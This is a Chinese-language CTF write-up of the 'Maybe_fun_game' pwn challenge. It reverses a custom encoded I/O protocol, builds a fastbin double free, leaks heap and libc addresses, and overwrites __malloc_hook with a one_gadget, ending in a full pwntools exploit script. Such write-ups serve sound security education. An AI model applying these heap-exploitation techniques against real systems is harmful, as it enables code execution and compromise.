红明谷2021

Maybe_fun_game

程序分析

这道题目挺考验逆向的能力的,需要将程序比较看的清楚。

程序有四个功能new、del、edit和show功能。我们先这几个函数放在一边,这个程序的输入输出的结构是比较特殊的,我们接下来对这两个函数进行分析。首先需要先介绍一下这些程序进行输入输出的结构,进行输入输出之前都会将需要输入输出的内容转化为如下的结构,其中data中存放的就是要进行输入输出的内容。

1
2
3
4
5
6
u_int64t flag1;//0x1234567812345678LL
u_int64t sum;
u_int64t flag2_size;
u_int64t data_size;
uchar flag2[flag2_size];//0x4141414141414141LL
uchar data[p_size];

输入输出函数

input

input函数首先会对输入的数据进行解密(要求你输入的是加密后的数据),然后按上面的结构将数据中的内容解密出来。逆向这个解密的过程就不赘述了,这里直接上加密的代码。(函数名是decrpt不重要,就是input对数据操作的逆过程)

1
2
3
4
5
6
7
8
9
def decrpt(con):
ss = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
re = b''
for i in range(len(con)):
e0 = ord(con[i:i+1]) >> 2
e1 = (ord(con[i:i+1]) & 3) << 4
# print(hex(e0),hex(e1))
re += ss[e0:e0+1]+ss[e1:e1+1]+b'=='
return re

对于解密完成的数据程序会做一些检查,然后将数据内容提取出来,返回一个指针ptr:

  1. 检查flag1==0x1234567812345678LL,否则跳到6
  2. 利用malloc为flag2分配flag2_size大小的空间,将flag2的内容复制上去
  3. 利用calloc为data分配data_size大小的空间ptr,将data的内容复制上去
  4. 检查sum==flag2_size+data_sisze+0x20,否则跳到6
  5. 检查flag2==0x4141414141414141LL,否则跳到6
  6. 释放掉calloc分配的指针,返回ptr指针
  7. 释放掉malloc和calloc申请的指针,返回error

print

print函数就比较简单了,会按照之前的结构存储需要输出的内容(flag2_size永远是8),这个函数会在中间利用calloc申请两次,分别用来中间存储flag2和data。

程序主逻辑

程序每次循环都利用input获得选项然后跳转到相应的函数执行,程序维护两个全局变量src和size,src存储内容的存储空间的地址,size存储内容长度。

alloc

程序输入Size,然后按照size的大小用malloc申请空间,然后将空间地址存到src中,用input输入数据,将解析后的内容复制到src中。(if ( *p )这里是通过\x00截断的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Print("Size >>");
v5 = input();
size = strtol(v5, 0LL, 10);
free(ptr);
if ( (unsigned int)(size - 1) <= 0x7E )
{
src = (char *)malloc(size);
Print("Content >>");
p = input(); // 整个把size的内容复制过来
if ( size > 0 )
{
c = *p;
if ( *p )
{
i = 1LL;
do
{
src[i - 1] = c;
if ( size <= (signed int)i )
break;
c = p[++i - 1];
}
while ( c );
}
}
LABEL_18:
free(ptr);
}
else
{
Print("Illegal size!");
}

del

释放掉src的空间,将地址src和大小size全部清空

1
2
3
free(src);
src = 0LL;
size = 0;

edit

edit函数就是重新修改src的内容和alloc输出内容的部分非常相似,唯一不同的是这里是\n截断的,这意味着可以通过edit输入更多的数据。

1
2
3
4
5
6
7
8
9
10
11
12
if ( *p_1 != '\n' )
{
i_1 = 1LL;
do
{
src[i_1 - 1] = c_1;
if ( size <= (signed int)i_1 )
break;
c_1 = p_1[++i_1 - 1];
}
while ( c_1 != '\n' );
}

show

show函数就是通过print打印出src的内容。

思路

程序运行在glibc-2.23的环境下

构造double free

这里我们观察alloc函数中的如下部分,在input完成后程序会执行free(ptr)

1
2
3
4
5
Print("Size >>");
v5 = input();
size = strtol(v5, 0LL, 10);
free(ptr);
if ( (unsigned int)(size - 1) <= 0x7E )

而在input函数中,如果某一步的检查没有过,就会执行如下操作

1
2
3
4
Print(v18);
free(ptr);
free(qword_2030E0);
return "ERROR";

这样我们故意输入错误的数据造成input进行上述操作,就能获得这样的效果free(ptr)->free(qword_2030E0)->free(ptr),此时就能在fastbin中构造double free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x55a96a082220 --> 0x55a96a0821a0 --> 0x55a96a082220 (overlap chunk with 0x55a96a082220(freed) )
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55a96a082460 (size : 0x20ba0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0

此时我们再通过alloc申请到0x55a96a082220堆块,利用输出函数就能得到一个heap地址。

获得libc

在input中会通过我们输入的数据进行内存的申请,因此我们可以控制其申请一个很大的ptr,造成fastbin中的数据进行合并,然后进入unsortbin我们就能够拿到相应的地址。但是在每个函数(alloc、edit、del和show)之间都会有大量的print,会申请内存而且不会释放,因此需要特别构造。

当前我们申请到了0x55a96a082220的chunk,利用uaf我们修改fd到0x55a96a0821a0+0x40的chunk。

1
(0x80)     fastbin[6]: 0x55a96a0821a0 --> 0x55a96a082220 --> 0x55a96a0821e0 (size error (0x0))

由于与0x55a96a0821e0在0x55a96a0821a0中,我们在申请0x55a96a0821a0后对0x55a96a0821e0的size设置为0x81以绕过fastbin申请时对size大小的检查,然后设置其fd为0x55a96a0821a0。

1
2
3
4
5
6
7
8
9
pwndbg> x/16xg 0x55a96a0821a0
0x55a96a0821a0: 0x0000000000000000 0x0000000000000081-->0x55a96a0821a0
0x55a96a0821b0: 0x000055a96a082220 0x000055a96a082220
0x55a96a0821c0: 0x0000000000000000 0x0000000000000000
0x55a96a0821d0: 0x0000000000000000 0x0000000000000000
0x55a96a0821e0: 0x0000000000000000 0x0000000000000081-->我们目标的chunk
0x55a96a0821f0: 0x000055a96a0821a0 0x000055a96a0821a0
0x55a96a082200: 0x0000000000000000 0x00000000000203b1
0x55a96a082210: 0x0000000000000000 0x0000000000000000

再次申请到0x55a96a082220时将fd设置为0,为了让绕过堆合并时的检查(堆合并时不能有double free)。然后就能申请到0x55a96a0821e0,此时我们fastbin中的连就如下所示(此时能正常合并了)

1
(0x80)     fastbin[6]: 0x55a96a0821a0 --> 0x55a96a082220 --> 0x0

此时我们进入show,我们构造数据将ptr_size设置很大(0x400),这样这样这样就造成堆的合并。为什么在0x55a96a0821a0+0x40申请一个chunk呢?观察print,在数据拷贝输出之前要进行两次calloc,为了使libc地址刚好落在我们的chunk里面我们我们申请的空间的地址就需要在0x55a96a0821a0加上0x40。

1
2
3
4
5
6
7
8
9
v2 = calloc(8uLL, 1uLL);//calloc 0x20的空间
qword_203120 = (__int64)v2;
*v2 = 0x4141414141414141LL;
v3 = (char *)calloc(len, 1uLL);//calloc 0x20的空间
v4 = len;
v5 = v3;
qword_203128 = (__int64)v3;
len += 0x28LL;
strncpy(v3, src, v4);//数据拷贝到目标位置输出

获得shell

这个就比较简单了,用之前的方法构造double_free,然后利用uaf修改fd到__malloc_hook-0x23的位置,然后申请到__malloc_hook-0x23的堆块,修改__malloc_hook为gadget就能获得shell了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import *
import base64
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

local = 1
if local == 1:
p = process('Maybe_fun_game')
lb = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
gadget = [0xf1207, 0xf0364, 0x4527a, 0x45226]
else:
p=remote('',00)


def decrpt(con):
ss = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
re = b''
for i in range(len(con)):
e0 = ord(con[i:i+1]) >> 2
e1 = (ord(con[i:i+1]) & 3) << 4
# print(hex(e0),hex(e1))
re += ss[e0:e0+1]+ss[e1:e1+1]+b'=='
return re


def gen(con, size, fsize=0x8, flag=True):
f1 = 0x1234567812345678
f2 = 0x4141414141414141
print('fsize', hex(size+fsize+0x20))
if flag:
check = size+fsize+0x20
else:
check = 0
re = p64(f1)+p64(check)+p64(fsize) + \
p64(size)+p64(f2)+b'\x00'*(fsize-8)
re = re+con
return decrpt(re)


def find_idx(ss, s):
for i in range(len(ss)):
if ss[i:i+1] == s:
# print(ss[i:i+1],s)
return i
return -1


def decrpt_o(con):
ss = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/+'
re = ''
for i in range(len(con)//4):
c0 = find_idx(ss, con[i*4:i*4+1])
c1 = find_idx(ss, con[i*4+1:i*4+1+1])
c2 = find_idx(ss, con[i*4+2:i*4+2+1])
c3 = find_idx(ss, con[i*4+3:i*4+3+1])
# print(hex(c0), hex(c1), hex(c2), hex(c3))
e0 = (c0 << 2)+(c1 >> 4)
e1 = ((c1 & 0xf) << 4)+((c2 >> 2) & 0xf)
e2 = (c3 & 0x3f)+((c2 & 3) << 6)
# print(hex(e0), hex(e1), hex(e2))
re += chr(e0)+chr(e1)+chr(e2)
return re


def new(size, con, fsize=8, flag=True):
p.recvuntil(
"eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
p.send(gen(b'1', 1))
p.recvuntil(
"eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
p.sendline(gen(str(size).encode(), 0x8))
p.recvuntil(
"eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvbnRlbnQgPj4")
p.sendline(gen(con, len(con), fsize))


def dlt():
p.recvuntil(
"eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
p.send(gen(b'2', 1))


def edit(con):
p.recvuntil(
"eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
p.send(gen(b'3', 1))
p.recvuntil(
"eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvbnRlbnQgPj4")
p.sendline(gen(con, len(con)))


def show():
p.recvuntil(
"eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
p.send(gen(b'4', 1))


# cmd = ''
# cmd += 'b *$rebase(0x0000000000001109)\n'
# cmd += 'b *$rebase(0x0000000000001864)\n'
# cmd += ' b *$rebase(0x0bfd)\n'
# gdb.attach(p, cmd)

p.recvuntil(
"eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
p.send(gen(b'1', 1))

p.recvuntil(
"eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
p.sendline(gen(b'\x10'+b'\x00', 0x70, fsize=0x70, flag=False))

# pause()
new(0x70, b'\x00', fsize=0x100, flag=True)
show()
p.recvuntil('\n')
ss = base64.b64decode(p.recvuntil('\n')[:-1])
heap = u64(ss[0x28:].ljust(8, b'\x00'))
print("heap", hex(heap))

fake = heap+0x40
edit(p64(fake))
# pause()

new(0x70, b'\x00')
payload = p64(heap+0x80)*2+b'\x00'*0x20+p64(0)+p64(0x81)+p64(heap)*2
edit(payload)

new(0x70, b'\x00')
edit(p64(0)+b'\n')

# pause()

new(0x70, b'\x00')
# pause()
# gdb.attach(p, cmd)
p.recvuntil(
"eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
p.send(gen(b'4', 0x400, fsize=0x50))
p.recvuntil('\n')
ss = base64.b64decode(p.recvuntil('\n')[:-1])
libc = u64(ss[0x28:].ljust(8, b'\x00'))-0x3c4b78
print("libc", hex(libc))


# pause()

p.recvuntil(
"eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob2ljZSA/Pg==")
p.send(gen(b'1', 1))

p.recvuntil(
"eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpemUgPj4=")
p.sendline(gen(b'\x10'+b'\x00', 0x60, fsize=0x60, flag=False))

fake=libc+lb.sym['__malloc_hook']-0x23
new(0x60, b'\x00')
edit(p64(fake))

# pause()
new(0x60, b'\x00')
new(0x60, b'\x00')
new(0x60, b'\x00')
# cmd+='b malloc\n'
# gdb.attach(p, cmd)
sys=libc+gadget[0]
payload=0x13*b'a'+p64(sys)
edit(payload)

p.interactive()